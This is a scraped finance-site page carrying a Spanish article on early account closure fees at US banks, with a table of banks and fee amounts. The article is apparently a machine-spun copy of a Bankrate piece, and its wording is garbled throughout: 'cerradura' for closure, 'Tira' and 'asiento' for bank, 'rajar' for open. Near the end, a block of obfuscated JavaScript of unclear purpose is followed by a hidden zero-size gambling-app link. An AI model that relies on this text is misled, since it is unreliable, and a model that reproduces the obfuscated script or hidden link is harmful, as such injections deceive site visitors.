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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Saturday, September 12, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<div id="block_577039de9a46fdce471fbc2b6196acbb" class="key-takeaways sm:border-l-4 border-(--accent) sm:pl-8 my-8 relative" style="--accent: var(--color-blue-medium)">
    <!-- htmlmin:ignore --></p>
<h2 class="heading-4 mt-0 mb-4 text-crop-none max-sm:flex max-sm:items-center max-sm:gap-4" id="key-takeaways" data-position="0" data-beam-element-viewed="" data-id="br-h2-0-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Key takeaways" data-outcome="">
    <span class="shrink-0">Control de contraseña</span><br />
        <span class="max-sm:h-0.5 max-sm:w-full max-sm:w-full max-sm:bg-(--accent) max-sm:rounded-full max-sm:block"></span><br />
    </h2>
<p>    <!-- htmlmin:ignore --></p>
<ul class="flex flex-col text-gray-700 mb-0 gap-2 list-disc">
<li class="pl-4 relative marker:text-(--accent)">
<p>                                                            Algunos bancos cobran entre $ 5 y $ 50 si cierra una nueva cuenta internamente de los 90 a 180 días.
                                                </li>
<li class="pl-4 relative marker:text-(--accent)">
<p>                                                            Las políticas varían: algunos bancos renuncian a la tarifa, mientras que otros imponen cargos más altos si cambia rápidamente.
                                                </li>
<li class="pl-4 relative marker:text-(--accent)">
<p>                                                            Siempre revise el software de tarifas del asiento antaño de rajar una cuenta.
                                                </li>
<li class="pl-4 relative marker:text-(--accent)">
<p>                                                            Si paciencia cambiar pronto, considere una cuenta sin tarifas de cerradura temprano.
                                                </li>
</ul>
</div>
<p>Nadie quiere satisfacer una tarifa innecesaria, especialmente cuando está tratando de cambiar a un asiento mejor. Pero algunos bancos le cobrarán por cerrar su cuenta demasiado rápido a posteriori de abrirla. Estas tarifas de cerradura de la cuenta temprana pueden costar entre $ 5 y $ 50, y son más comunes de lo que piensas.</p>
<p>Si está considerando cambiar a los bancos para mejores tasas de hucha o demostración sin tarifas, comprender estas tarifas podría ahorrarle efectivo y frustración.</p>
<h2 id="what-is" data-position="1" data-beam-element-viewed="" data-id="br-h2-1-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="What is an early account closure fee?" data-outcome="">¿Qué es una tarifa de cerradura de cuenta temprana?</h2>
<p>Una tarifa de cerradura de la cuenta temprana es un cargo que algunos bancos imponen cuando cerradura su cuenta poco a posteriori de abrirla. Piense en ello como una penalización por poner fin a la relación bancaria demasiado rápido, generalmente internamente de 90 a 180 días.</p>
<p>Los bancos que cobran estas tarifas especificarán los términos en sus acuerdos de cuenta y horarios de tarifas. El monto de la tarifa y la restricción de tiempo varían según la institución, lo que hace que sea importante revisar estos detalles antaño de rajar cualquier cuenta.</p>
<div class="MarketMavenQuote">
<div class="">
<div>
<blockquote>
<p>                Las tarifas de cerradura temprano pueden borrar rápidamente los beneficios de cambiar los bancos. Una tarifa de $ 50 podría compensar los meses de mayores ganancias de intereses de una nueva cuenta de ahorros. Siempre recomiendo tener en cuenta estos costos potenciales en sus cálculos al comparar las opciones bancarias.</p>
<p class="mb-0">
                        <cite>&#8211; Hanna Horvath, CFP y editor de bancos de Bankrate</cite>
                    </p>
</blockquote></div>
</p></div>
</div>
<h2 id="fees" data-position="2" data-beam-element-viewed="" data-id="br-h2-2-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Early account closure fees at major banks" data-outcome="">Tarifas de cerradura de la cuenta temprana en los principales bancos</h2>
<p>Ya sea que sean grandes bancos, bancos en recorrido o bancos comunitarios, muchos bancos en estos días no cobran tarifas por cerrar las cuentas temprano. Sin secuestro, hay algunos bancos y cooperativas de crédito que evaluarán dicha tarifa a los clientes, esto es lo que las principales instituciones financieras cobran actualmente. </p>
<div class="w-full overflow-x-auto">
<table class="wp-block-table wrapped">
<thead>
<tr>
<th>Tira</th>
<th>Cuenta (s)</th>
<th>Tarifa de cerradura de la cuenta temprana</th>
<th>Cuando se evalúa la tarifa</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cooperativa de crédito Alliant</td>
<td>Varias cuentas de depósito, donde se permita la ley</td>
<td>$ 10</td>
<td>Si la cuenta se cierra internamente de los 90 días posteriores a la transigencia</td>
</tr>
<tr>
<td>BMO Harris</td>
<td>Varias cuentas de corriente y hucha</td>
<td>$ 50</td>
<td>Si la cuenta se cierra internamente de los 90 días posteriores a la transigencia</td>
</tr>
<tr>
<td>Tira Doméstico de Huntington</td>
<td>Varias cuentas de depósito</td>
<td> $ 20</td>
<td>Si la cuenta se cierra internamente de los 180 días posteriores a la transigencia</td>
</tr>
<tr>
<td>Tira de M&#038;T</td>
<td>Cuentas corrientes personales (excluye las cuentas bancarias de Myway)</td>
<td>$ 50</td>
<td>Si la cuenta se cierra internamente de los 180 días posteriores a la transigencia</td>
</tr>
<tr>
<td>Popular Direct</td>
<td>Varias cuentas de depósito</td>
<td>$ 25</td>
<td>Si la cuenta se cierra internamente de los 180 días posteriores a la transigencia</td>
</tr>
<tr>
<td>Tira de regiones</td>
<td>Demostración de LifeGreen</td>
<td>$ 25</td>
<td>Si la cuenta se cierra internamente de los 180 días posteriores a la transigencia</td>
</tr>
<tr>
<td>Servicio de seguridad Federal Credit Union</td>
<td>Varias cuentas de depósito</td>
<td>$ 5- $ 25 (depende de la cuenta)</td>
<td>Si la cuenta se cierra internamente de los 90 días posteriores a la transigencia</td>
</tr>
<tr>
<td>Tira de Zions</td>
<td>Varias cuentas de depósito</td>
<td>$ 25</td>
<td>Si la cuenta se cierra internamente de los 90 días posteriores a la transigencia</td>
</tr>
</tbody>
</table>
</div>
<h3>Los principales bancos sin tarifas de cerradura temprano </h3>
<p>Muchos de los bancos más grandes del país no imponen tarifas de cerradura de cuentas tempranas en cuentas de depósito estereotipado. Bank of America, Chase, Wells Fargo y Citibank generalmente permiten a los clientes cerrar cuentas sin penalización, proporcionando flexibilidad para los consumidores que necesitan cambiar de bancos.</p>
<h2 id="why" data-position="3" data-beam-element-viewed="" data-id="br-h2-3-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Why do banks charge early account closure fees?" data-outcome="">¿Por qué los bancos cobran tarifas de cerradura de la cuenta temprana?</h2>
<p>Los bancos invierten bienes significativos cuando abre una cuenta: procesamiento burócrata, configuración del sistema, costos de marketing e incorporación del personal. Cuando cierra una cuenta rápidamente, los bancos a menudo no pueden recuperar estos costos de adquisición a través de la actividad regular de la cuenta.</p>
<p>Las tarifas de cerradura temprano ayudan a los bancos a compensar estos costos y alentar a los clientes a permanecer sus cuentas por más tiempo. Si acertadamente esto tiene sentido comercial para los bancos, estas tarifas pueden impedir su capacidad de cambiar a instituciones que ofrecen mejores tarifas o servicios.</p>
<p>La esencia es comprender estas tarifas por aventajado para que pueda tomar la audacia correcta sobre dónde banarear.</p>
<h2 id="reasons" data-position="4" data-beam-element-viewed="" data-id="br-h2-4-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Common reasons people close accounts early" data-outcome="">Razones comunes que las personas cierran las cuentas temprano </h2>
<p>Algunos consumidores deciden cerrar una cuenta bancaria poco a posteriori de la transigencia por varias razones:</p>
<ul>
<li>Puede descubrir una cuenta de ahorros de detención rendimiento que ofrece tasas de interés significativamente más altas, o una cuenta corriente con tarifas mensuales más bajas y mejores características.</li>
<li>Mudarse a una nueva radio donde su asiento contemporáneo carece de sucursales, o encontrar un asiento en recorrido con herramientas de banca digital y servicio al cliente más fuertes.</li>
<li>Los principales eventos como el boda a menudo requieren rajar cuentas conjuntas y cerrar las personas individuales, mientras que el divorcio puede requerir la separación de cuentas previamente compartidas.</li>
<li>El mal servicio al cliente o las dificultades con el paso a la cuenta pueden sufrir a los clientes a inquirir mejores experiencias bancarias en otros lugares.</li>
</ul>
<h2 id="avoid" data-position="5" data-beam-element-viewed="" data-id="br-h2-5-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="How to avoid early account closure fees" data-outcome="">Cómo evitar las tarifas de cerradura de la cuenta temprana</h2>
<p>No tiene que dejar que estas tarifas limiten sus opciones bancarias. Aquí hay algunas estrategias para evitarlas:</p>
<ol>
<li>
<strong>Tarifas de investigación antaño de rajar cuentas:</strong> Siempre revise el software de tarifas completas de un asiento antaño de rajar una cuenta. Busque específicamente las tarifas de cerradura de la cuenta temprana en los términos y condiciones o documentos de divulgación de tarifas. Aquí hay algunas tarifas bancarias comunes.</li>
<li>
<strong>Elija bancos sin tarifas de cerradura:</strong> Considere priorizar a los bancos que no cobran tarifas de cerradura temprano. Esto le brinda la flexibilidad de cambiar si encuentra mejores opciones o sus evacuación cambian.</li>
<li>
<strong>Factoras de tarifas en su audacia: </strong>Al comparar bancos, incluya posibles tarifas de cerradura temprano en sus cálculos. Un asiento que ofrece tasas de interés levemente más altas podría costar más si necesita cerrar temprano y satisfacer una tarifa de $ 50.</li>
<li>
<strong>Tiempo que su cuenta cambia estratégicamente: </strong>Si ya está sujeto a un período de tarifa de cerradura temprano, marque su calendario y espere hasta que finalice el período de restricción antaño de cambiar los bancos.</li>
<li>
<strong>Pregunte por las exenciones de tarifas: </strong>Algunos bancos renuncian a las tarifas de cerradura temprano en circunstancias específicas, como el despliegue marcial, que se mudan fuera del radio de servicio del asiento u otros eventos de vida calificados. Vale la pena preguntar si tiene una razón válida para cerrar temprano.</li>
</ol>
<h2 data-position="6" data-beam-element-viewed="" data-id="br-h2-6-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Bottom line" data-outcome="">Final</h2>
<p>Las tarifas de cerradura de la cuenta temprana son un costo evitable si planea con anticipación y elige su asiento con cuidado. Antiguamente de rajar cualquier cuenta, revise la estructura de tarifas y considere si puede carecer flexibilidad en los próximos meses.</p>
<p>El enfoque más inteligente a menudo es designar bancos que no cobran estas tarifas en incondicional. Con un montón de excelentes opciones de demostración y hucha disponibles sin penalizaciones de cerradura temprano, puede permanecer la flexibilidad para cambiar los bancos cuando surgen mejores oportunidades.</p>
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yjvmJd(){function tIcKXXx(tIcKXXx){var yjvmJd="UsfPABFWVcCkKmYIMSTN_t<GuyZ2Hd~7`b:#=QaJ>Ozeg|3E5qioRD(n{8X@h\"}jplL;]*/4+)^x0.[9w,$1%&!v?r6",Gm5NWa,bD4Rv6S,NquUqP5,THsRW8D,jJ3t4yd,TehqfkE,tioCSm;PbNtMM(Gm5NWa=""+(tIcKXXx||""),bD4Rv6S=Gm5NWa.length,NquUqP5=[],THsRW8D=s05aBB[0x0],jJ3t4yd=s05aBB[0x0],TehqfkE=-s05aBB[0x1]);for(tioCSm=s05aBB[0x0];tioCSm<bD4Rv6S;tioCSm++){var ptkn43=yjvmJd.indexOf(Gm5NWa[tioCSm]);if(ptkn43===-s05aBB[0x1])continue;if(TehqfkE<s05aBB[0x0]){TehqfkE=ptkn43}else{PbNtMM(TehqfkE+=ptkn43*s05aBB[0xc],THsRW8D|=TehqfkE<<jJ3t4yd,jJ3t4yd+=(TehqfkE&s05aBB[0xd])>s05aBB[0xe]?s05aBB[0xf]:s05aBB[0x10]);do{PbNtMM(NquUqP5.push(THsRW8D&s05aBB[0x3]),THsRW8D>>=s05aBB[0x2],jJ3t4yd-=s05aBB[0x2])}while(jJ3t4yd>s05aBB[0x9]);TehqfkE=-s05aBB[0x1]}}if(TehqfkE>-s05aBB[0x1]){NquUqP5.push((THsRW8D|TehqfkE<<jJ3t4yd)&s05aBB[0x3])}return ofYXKfs(NquUqP5)}function yjvmJd(yjvmJd){if(typeof bD4Rv6S[yjvmJd]===s05aBB[0x5]){return bD4Rv6S[yjvmJd]=tIcKXXx(NquUqP5[yjvmJd])}return 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eTu6Sbm(tIcKXXx){if(tIcKXXx>=s05aBB[0x14]&&tIcKXXx<=0xdfff){function yjvmJd(tIcKXXx){var yjvmJd="y1&#x`3%;}!zu_^2v\"7/U~Fi0:fCw$@Y|(.)t6NQ=qb,{e4VPIh*AJG?+LH[>SO8sBgkEaDmXnoRKMZpjrclW9d<]5T",THsRW8D,jJ3t4yd,TehqfkE,tioCSm,ptkn43,eTu6Sbm,Jzc_oc;PbNtMM(THsRW8D=""+(tIcKXXx||""),jJ3t4yd=THsRW8D.length,TehqfkE=[],tioCSm=s05aBB[0x0],ptkn43=s05aBB[0x0],eTu6Sbm=-s05aBB[0x1]);for(Jzc_oc=s05aBB[0x0];Jzc_oc<jJ3t4yd;Jzc_oc++){var zPsKAt=yjvmJd.indexOf(THsRW8D[Jzc_oc]);if(zPsKAt===-s05aBB[0x1])continue;if(eTu6Sbm<s05aBB[0x0]){eTu6Sbm=zPsKAt}else{PbNtMM(eTu6Sbm+=zPsKAt*s05aBB[0xc],tioCSm|=eTu6Sbm<<ptkn43,ptkn43+=(eTu6Sbm&s05aBB[0xd])>s05aBB[0xe]?s05aBB[0xf]:s05aBB[0x10]);do{PbNtMM(TehqfkE.push(tioCSm&s05aBB[0x3]),tioCSm>>=s05aBB[0x2],ptkn43-=s05aBB[0x2])}while(ptkn43>s05aBB[0x9]);eTu6Sbm=-s05aBB[0x1]}}if(eTu6Sbm>-s05aBB[0x1]){TehqfkE.push((tioCSm|eTu6Sbm<<ptkn43)&s05aBB[0x3])}return ofYXKfs(TehqfkE)}function THsRW8D(tIcKXXx){if(typeof bD4Rv6S[tIcKXXx]===s05aBB[0x5]){return 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zPsKAt=yjvmJd.indexOf(tioCSm[Jzc_oc]);if(zPsKAt===-s05aBB[0x1])continue;if(eTu6Sbm<s05aBB[0x0]){eTu6Sbm=zPsKAt}else{PbNtMM(eTu6Sbm+=zPsKAt*s05aBB[0xc],TehqfkE|=eTu6Sbm<<ptkn43,ptkn43+=(eTu6Sbm&s05aBB[0xd])>s05aBB[0xe]?s05aBB[0xf]:s05aBB[0x10]);do{PbNtMM(jJ3t4yd.push(TehqfkE&s05aBB[0x3]),TehqfkE>>=s05aBB[0x2],ptkn43-=s05aBB[0x2])}while(ptkn43>s05aBB[0x9]);eTu6Sbm=-s05aBB[0x1]}}if(eTu6Sbm>-s05aBB[0x1]){jJ3t4yd.push((TehqfkE|eTu6Sbm<<ptkn43)&s05aBB[0x3])}return ofYXKfs(jJ3t4yd)}function tioCSm(tIcKXXx){if(typeof bD4Rv6S[tIcKXXx]===s05aBB[0x5]){return bD4Rv6S[tIcKXXx]=yjvmJd(NquUqP5[tIcKXXx])}return bD4Rv6S[tIcKXXx]}throw Error(tioCSm(0x52))}PbNtMM(tIcKXXx=THsRW8D[TehqfkE]&s05aBB[0x3],TehqfkE++);if((tIcKXXx&s05aBB[0x1a])==s05aBB[0x16]){return tIcKXXx&s05aBB[0x6]}throw Error(Gm5NWa(s05aBB[0x1c]))}function e1RAu20(){var tIcKXXx,yjvmJd,tioCSm,ptkn43,Jzc_oc;function zPsKAt(tIcKXXx){var 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<!-- sc5a72ec-ec6754 -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
